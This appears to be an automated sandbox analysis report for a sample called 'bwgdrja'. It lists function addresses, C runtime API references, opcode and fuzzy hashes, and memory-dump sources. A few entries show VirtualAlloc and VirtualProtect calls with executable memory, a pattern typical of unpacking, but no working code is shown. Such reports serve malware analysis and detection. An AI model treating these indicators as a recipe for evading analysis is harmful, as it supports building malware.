___setargv.LIBCMTD ref: 0040AEFD
__setenvp.LIBCMTD ref: 0040AF10
__cinit.LIBCMTD ref: 0040AF25
__wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 49cb84a6a2de3e27ab9035cfa7440636eadb96165df76710212fa7569af0f0eb
Instruction ID: 14e4e6c4063a41e1bcd3061f161be65bfadf290078a8fce69a5c0f96e395f34b
Opcode Fuzzy Hash: 49cb84a6a2de3e27ab9035cfa7440636eadb96165df76710212fa7569af0f0eb
Instruction Fuzzy Hash: 6941B3F1D40309ABDB00ABF2EC0679E76B5AB44718F10013EF505A72C2FB7959508A9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE85 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AE8C
__heap_init.LIBCMTD ref: 0040AE96

Part of subcall function 00419580: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AE9B,00000001), ref: 00419596

_fast_error_exit.LIBCMTD ref: 0040AEA4

Part of subcall function 0040AFF0: ___crtExitProcess.LIBCMTD ref: 0040B014

__mtinit.LIBCMTD ref: 0040AEAC
_fast_error_exit.LIBCMTD ref: 0040AEB7
__RTC_Initialize.LIBCMTD ref: 0040AEC9
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
___setargv.LIBCMTD ref: 0040AEFD
__setenvp.LIBCMTD ref: 0040AF10
__cinit.LIBCMTD ref: 0040AF25
__wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: c31966e764cc32420d099418941cadb35cf1db9f83022a981cf9d791339047a6
Instruction ID: 158982949d56c2f4c1b42bdb0bdb95a45a33c533f8c1b44c1306fd3b6fcf2815
Opcode Fuzzy Hash: c31966e764cc32420d099418941cadb35cf1db9f83022a981cf9d791339047a6
Instruction Fuzzy Hash: 0A3164F5D403059BEB00ABF2AD067DE76B1AB4470CF14003FF5096A2C2FA7999508A5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B437 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B45A
__heap_alloc_base.LIBCMTD ref: 0040B5E1
_memset.LIBCMT ref: 0040B729
_memset.LIBCMT ref: 0040B746
_memset.LIBCMT ref: 0040B761

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 4f68cb8764338202c5ed97567112ab634f5e858bee0f57bf73386206c1b74d2d
Instruction ID: df1d0fc4e5fa489c86965c8285ba59211364a303706a106f0f0c99895058af92
Opcode Fuzzy Hash: 4f68cb8764338202c5ed97567112ab634f5e858bee0f57bf73386206c1b74d2d
Instruction Fuzzy Hash: 99A14B78A002089BDB14DF44DC91BAE77B0FB49308F20816AE9157B3D2D779AD44CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419060 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 004190EB
__nh_malloc_dbg.LIBCMTD ref: 00419217

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 78b0bf27c18276ae5cf0ac5dcf40f94d5ec715b7be81ea51e6cb24510ee774ed
Instruction ID: dc83c7f56358a0ad5cdc72bdf9eefe3c9544d5a2b4e8e09ef24dd4b1f2e1a49f
Opcode Fuzzy Hash: 78b0bf27c18276ae5cf0ac5dcf40f94d5ec715b7be81ea51e6cb24510ee774ed
Instruction Fuzzy Hash: FAE11B74E04249CFDB24CFA4C894B9DBBB1BB4A314F24C25ED8656B392C7359882CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004095C0 Relevance: 4.9, APIs: 3, Instructions: 421
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 004095D9
_memset.LIBCMT ref: 00409744
LoadLibraryW.KERNELBASE(008443A0), ref: 004098F6

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID:
API String ID: 3001991562-0
Opcode ID: 1cfe3afd95f567ec82789c25252d1ddb4fa4466792396e92f95f578e48c8542d
Instruction ID: 841249d1a9b38f875f06151a9d9607208ac78c721454cb459b3fcdfd221e23be
Opcode Fuzzy Hash: 1cfe3afd95f567ec82789c25252d1ddb4fa4466792396e92f95f578e48c8542d
Instruction Fuzzy Hash: B2D1F1B6810248BFE7016BB0ADC9EAB776CFB09759B005436F646F2572D6384D84CB78

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B399

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: a2cf3a565882fc7abfaf26e7158f9f28661b2c5890e41b266f35abe090bd7ab2
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 0B01FBB1600109EBDB04CF54C880B9F73A4EB48304F20856AFD15A7280D739EA51DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7AE Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B80D
_memset.LIBCMT ref: 0040B859

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 297a8be89635535c10cebc03018dd4463ea819066de271c8825ced59d9cb9164
Instruction ID: 66b0e460a9d3bf2f60b5584b8645f9a1c2ef5e7e473ca1288046d123b9aca6d0
Opcode Fuzzy Hash: 297a8be89635535c10cebc03018dd4463ea819066de271c8825ced59d9cb9164
Instruction Fuzzy Hash: 4C119671A80204BBDB04DF94CC42F9E3365EB54704F10C56AF908BB2D1D778E950C799

Uniqueness

Uniqueness Score: -1.00%

Function 004094BF Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004095BA

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e49be87099356caacb93848a29fb4c1d2938d12685075222996bf0f57ecd4da4
Instruction ID: 0e9ca3180c271335ae2259bf4c036b060a5e6aee7f95688d1406d70a88fc0d58
Opcode Fuzzy Hash: e49be87099356caacb93848a29fb4c1d2938d12685075222996bf0f57ecd4da4
Instruction Fuzzy Hash: 66216068608AC0DDE7028B68BD0A7513E95572374DF0A41E991CC5A2B2C7FB215CD77F

Uniqueness

Uniqueness Score: -1.00%

Function 004094C1 Relevance: 1.5, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004095BA

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4570f4beada05177943b3f157e34ab33e5f28d20b835f0ea0559c5007152ba3d
Instruction ID: ac0c07631efd48efa8250c2d7703ea60bc737ce7abab01a46368a06aa3ef2112
Opcode Fuzzy Hash: 4570f4beada05177943b3f157e34ab33e5f28d20b835f0ea0559c5007152ba3d
Instruction Fuzzy Hash: A8216068608AC0DDE7028B68BD097513E95572374DF0A41E991CC4A2B2C7FB215CD77F

Uniqueness

Uniqueness Score: -1.00%

Function 004190D4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004190EB
__nh_malloc_dbg.LIBCMTD ref: 00419217

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: fcb2341fb93e140827c1deed227c26594ef53ac63adca6467139789204452b73
Instruction ID: e170a076e68321bae42cf53415fec1dd6a5c1ee28d67d3ac302b2b5bd7578ba9
Opcode Fuzzy Hash: fcb2341fb93e140827c1deed227c26594ef53ac63adca6467139789204452b73
Instruction Fuzzy Hash: 75E02071F88308A9E7309B555807B587760E740734F20832FD635361C1D77904018F48

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00412367

Part of subcall function 00412290: __crt_wait_module_handle.LIBCMTD ref: 004122DC
Part of subcall function 00412290: RtlEncodePointer.NTDLL(?), ref: 00412317

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 44f7294cf1525330ad25d20f48a9502ad46506a53a67e113d1941be93755d719
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 64A0127244421C23D40020833803B06360C43C0738F080061F50C4914238A6A5604097

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF0 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040ADF5

Part of subcall function 0040AE10: _check_managed_app.LIBCMTD ref: 0040AE8C
Part of subcall function 0040AE10: __heap_init.LIBCMTD ref: 0040AE96
Part of subcall function 0040AE10: _fast_error_exit.LIBCMTD ref: 0040AEA4
Part of subcall function 0040AE10: __mtinit.LIBCMTD ref: 0040AEAC
Part of subcall function 0040AE10: _fast_error_exit.LIBCMTD ref: 0040AEB7
Part of subcall function 0040AE10: __RTC_Initialize.LIBCMTD ref: 0040AEC9
Part of subcall function 0040AE10: ___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
Part of subcall function 0040AE10: ___setargv.LIBCMTD ref: 0040AEFD
Part of subcall function 0040AE10: __setenvp.LIBCMTD ref: 0040AF10
Part of subcall function 0040AE10: __cinit.LIBCMTD ref: 0040AF25
Part of subcall function 0040AE10: __wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2731678867-0
Opcode ID: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction ID: 2561ca5dbd87a98439bcfc4daad95bdedd772093b3a391066e901ec3cafc57c1
Opcode Fuzzy Hash: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction Fuzzy Hash: 0CA0023248875D16455033E7740B95B7B8F49C072C796046FB51C175432C6DA8F140EF

Uniqueness

Uniqueness Score: -1.00%

Function 00BDCF36 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00BDCF87

Memory Dump Source

Source File: 00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BD8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_bd8000_bwgdrja.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 94f5598a118a0635bf37aa04d169ace6ea61b318321687f06aa3c4476d336e83
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1A112B79A00208EFDB01DF98CA85E98BFF5AF08350F058095F9489B362D371EA50DB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C5FE Relevance: 54.7, APIs: 25, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C642
_wcscat_s.LIBCMTD ref: 0041C85A

Part of subcall function 004217E0: __invalid_parameter.LIBCMTD ref: 00421852

__invoke_watson_if_error.LIBCMTD ref: 0041C863

Part of subcall function 0040DB10: __invoke_watson.LIBCMTD ref: 0040DB31

_wcscat_s.LIBCMTD ref: 0041C892

Part of subcall function 004217E0: _memset.LIBCMT ref: 004218BB
Part of subcall function 004217E0: __invalid_parameter.LIBCMTD ref: 00421917

__invoke_watson_if_error.LIBCMTD ref: 0041C89B
__snwprintf_s.LIBCMTD ref: 0041C8F4

Part of subcall function 0041BF50: __vsnprintf_s_l.LIBCMTD ref: 0041BF72

__invoke_watson_if_oneof.LIBCMTD ref: 0041C92D
_wcscpy_s.LIBCMTD ref: 0041C972
__invoke_watson_if_error.LIBCMTD ref: 0041C97B
__cftoe.LIBCMTD ref: 0041C9EF
__invoke_watson_if_oneof.LIBCMTD ref: 0041CA1E
_wcscpy_s.LIBCMTD ref: 0041CA56
__invoke_watson_if_error.LIBCMTD ref: 0041CA5F
__itow_s.LIBCMTD ref: 0041C639

Part of subcall function 004261F0: _xtow_s@20.LIBCMTD ref: 0042621B

__strftime_l.LIBCMTD ref: 0041C6F9
__invoke_watson_if_oneof.LIBCMTD ref: 0041C732
_wcscpy_s.LIBCMTD ref: 0041C777
__invoke_watson_if_error.LIBCMTD ref: 0041C780
_wcscpy_s.LIBCMTD ref: 0041C7D3
__invoke_watson_if_error.LIBCMTD ref: 0041C7DC
_wcscat_s.LIBCMTD ref: 0041C80D
__invoke_watson_if_error.LIBCMTD ref: 0041C816

Strings

t8j, xrefs: 0041CA2D
h0]@, xrefs: 0041CA09
t9j, xrefs: 0041CC85
[@, xrefs: 0041C794
h0]@, xrefs: 0041C7F0
h8Y@, xrefs: 0041CA0E

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: h0]@$h0]@$h8Y@$t8j$t9j$[@
API String ID: 2582952045-336790523
Opcode ID: 141625f69892fad845c5e59a4ab22801f6c8bb08ff37d5d8ae09f90b535fe0f3
Instruction ID: 8f816be943f3ef8b201955c01d6e8fc5d9c2279ca55056c2d4f7f2bc4addb9a9
Opcode Fuzzy Hash: 141625f69892fad845c5e59a4ab22801f6c8bb08ff37d5d8ae09f90b535fe0f3
Instruction Fuzzy Hash: 1902D3B4A80714ABDB20DF50DC8ABDF7374AB54705F5084AAF5087A2C1D7B89AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00416467 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 004164AC
_isdigit.LIBCMTD ref: 004164D2
___check_float_string.LIBCMTD ref: 00416532
__inc.LIBCMTD ref: 00416550
_isdigit.LIBCMTD ref: 00416602
___check_float_string.LIBCMTD ref: 00416662
___check_float_string.LIBCMTD ref: 004165E9

Part of subcall function 00416BC0: __nh_malloc_dbg.LIBCMTD ref: 00416C1D

__inc.LIBCMTD ref: 004165AD

Part of subcall function 00416D20: __filbuf.LIBCMTD ref: 00416D61

___check_float_string.LIBCMTD ref: 004166F6
__inc.LIBCMTD ref: 00416714
___check_float_string.LIBCMTD ref: 00416757
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

+, xrefs: 0041676C

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: e9f55ae8b76beee1eb9203579d425b9845273f33eba8d9e45e6072a8fa70b33b
Instruction ID: 21a02dc5d4bd23ec448ef7bfd427eaaa26b80944a3c642f500afdd2678e3b0a9
Opcode Fuzzy Hash: e9f55ae8b76beee1eb9203579d425b9845273f33eba8d9e45e6072a8fa70b33b
Instruction Fuzzy Hash: A5F181B5D002199BCF14CF99CC90AEEBB75BF45308F1486AED819A7302D639EA84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415F0F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415F61
__inc.LIBCMTD ref: 00415F89
__inc.LIBCMTD ref: 00415FBC
__un_inc.LIBCMTD ref: 00416043
_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110

Strings

8, xrefs: 004162F5
F, xrefs: 004163DB

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: 034b24a0a80f6d28dd27635d06ac7af812587400d4d507c45e5804c49e50e950
Instruction ID: 2df72c98ba9ca0dcdec352bc43f993584f309e48d4e4d4bbfe8415238eb164df
Opcode Fuzzy Hash: 034b24a0a80f6d28dd27635d06ac7af812587400d4d507c45e5804c49e50e950
Instruction Fuzzy Hash: DE028EB0D042699BCF25CF69C8947EEBBB1AF55308F1481DAD8196B342D3399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424769 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
_get_int64_arg.LIBCMTD ref: 00424820
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

-, xrefs: 00424A8E
9, xrefs: 004249F8

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: a98b0c9e0ce2447133ef877ea7c31d7fb912011dbd2b124584e6fb336ae0157d
Instruction ID: 6f196f54e9df5561a629d87c2d6c9eee076a4473e75602ae6407962a519ed664
Opcode Fuzzy Hash: a98b0c9e0ce2447133ef877ea7c31d7fb912011dbd2b124584e6fb336ae0157d
Instruction Fuzzy Hash: 91F15AB1E052298FDB24CF59DC89BAEB7B5FB84304F5481DAE019A7280D7385E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D32B Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
_get_int64_arg.LIBCMTD ref: 0042D3E8
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
_write_multi_char.LIBCMTD ref: 0042D712
__mbtowc_l.LIBCMTD ref: 0042D781

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 6dcda3c6dcba6b4f367643110fa39a4dc95e4e5f646a775a4f6fafcfc2abd301
Instruction ID: ac9e551d36cce128ed745aa737aaf65dccba946ff9d609bc00507c42b86bf317
Opcode Fuzzy Hash: 6dcda3c6dcba6b4f367643110fa39a4dc95e4e5f646a775a4f6fafcfc2abd301
Instruction Fuzzy Hash: 0CF16CB1E002299FDB24CF58DC81BEEB7B0BF85304F54419AE509A7241D778AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00426663 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004266AB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004266E1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426702
wcsncnt.LIBCMTD ref: 00426739
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042679F
_wcslen.LIBCMTD ref: 004269AF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269BD

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: b432d3decd5058753a9c8d7c7c551d544b79d7519b707f4503e26a296911c207
Instruction ID: bca59d63d5d7791b02baab540350ec99ccdf42647c857d4a92949a7a17dc1be4
Opcode Fuzzy Hash: b432d3decd5058753a9c8d7c7c551d544b79d7519b707f4503e26a296911c207
Instruction Fuzzy Hash: 9FD14771A10218EFCB04DF94D894BEEB7B1FF45304F61856AE4126B2A0DB38AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004244C7 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004244CB
__get_printf_count_output.LIBCMTD ref: 004244D9
__invalid_parameter.LIBCMTD ref: 00424560
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00424575
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

-, xrefs: 00424A8E

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 59d600770d8916b55d526bc520d8c5485b177309f42779bc1e5096f09ffec036
Instruction ID: 07eec88ed94a6a44024f3a9eb11fcaf0e4635cbebd1c422981427915157c0de4
Opcode Fuzzy Hash: 59d600770d8916b55d526bc520d8c5485b177309f42779bc1e5096f09ffec036
Instruction Fuzzy Hash: C2A19C70E052289BDB24DF59DC49BEEB7B0EB84308F5481DAE1197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00424315 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00424319
_strlen.LIBCMT ref: 00424349
_write_multi_char.LIBCMTD ref: 00424AEE
_write_string.LIBCMTD ref: 00424B09
_write_multi_char.LIBCMTD ref: 00424B35
_wctomb_s.LIBCMTD ref: 00424BB2

Strings

|I@, xrefs: 0042433C
-, xrefs: 00424A8E

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$|I@
API String ID: 2232461714-3668901929
Opcode ID: 6ab69d87c705c17d4b7e5c4ec983c51f553a41dfdb1a300f183af2a826f04dd7
Instruction ID: c09df9588b7efd294af9bf49d709d86af1a32f3a9757b082341825f8b21e2ff7
Opcode Fuzzy Hash: 6ab69d87c705c17d4b7e5c4ec983c51f553a41dfdb1a300f183af2a826f04dd7
Instruction Fuzzy Hash: AEA17DB0E012288FDB24CF59DC49BEEB7B1EB84305F5481DAE4196B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415B9C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415BE4
__un_inc.LIBCMTD ref: 00415D38
__inc.LIBCMTD ref: 00415D6A
__inc.LIBCMTD ref: 00415E29
__mbtowc_l.LIBCMTD ref: 00415E6B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

, xrefs: 00415DA3
{, xrefs: 00415DAC
], xrefs: 00415BFD
{, xrefs: 00415D12

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: 7780971589c9fd84191750d75268ee8bc94bd12fc4c251523a932726b9a80fc0
Instruction ID: e70c35cc8c691f7b4bb76012660240b780bb91145afb69b76e8d8c6acfb0b70f
Opcode Fuzzy Hash: 7780971589c9fd84191750d75268ee8bc94bd12fc4c251523a932726b9a80fc0
Instruction Fuzzy Hash: 35B1E670D05798CBCF15CBA9D4906EDFBB1AF86304F18C19BE869AB342D2385A80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042CEB4 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CEB8
_strlen.LIBCMT ref: 0042CEE8
_write_multi_char.LIBCMTD ref: 0042D6CB
_write_string.LIBCMTD ref: 0042D6E6
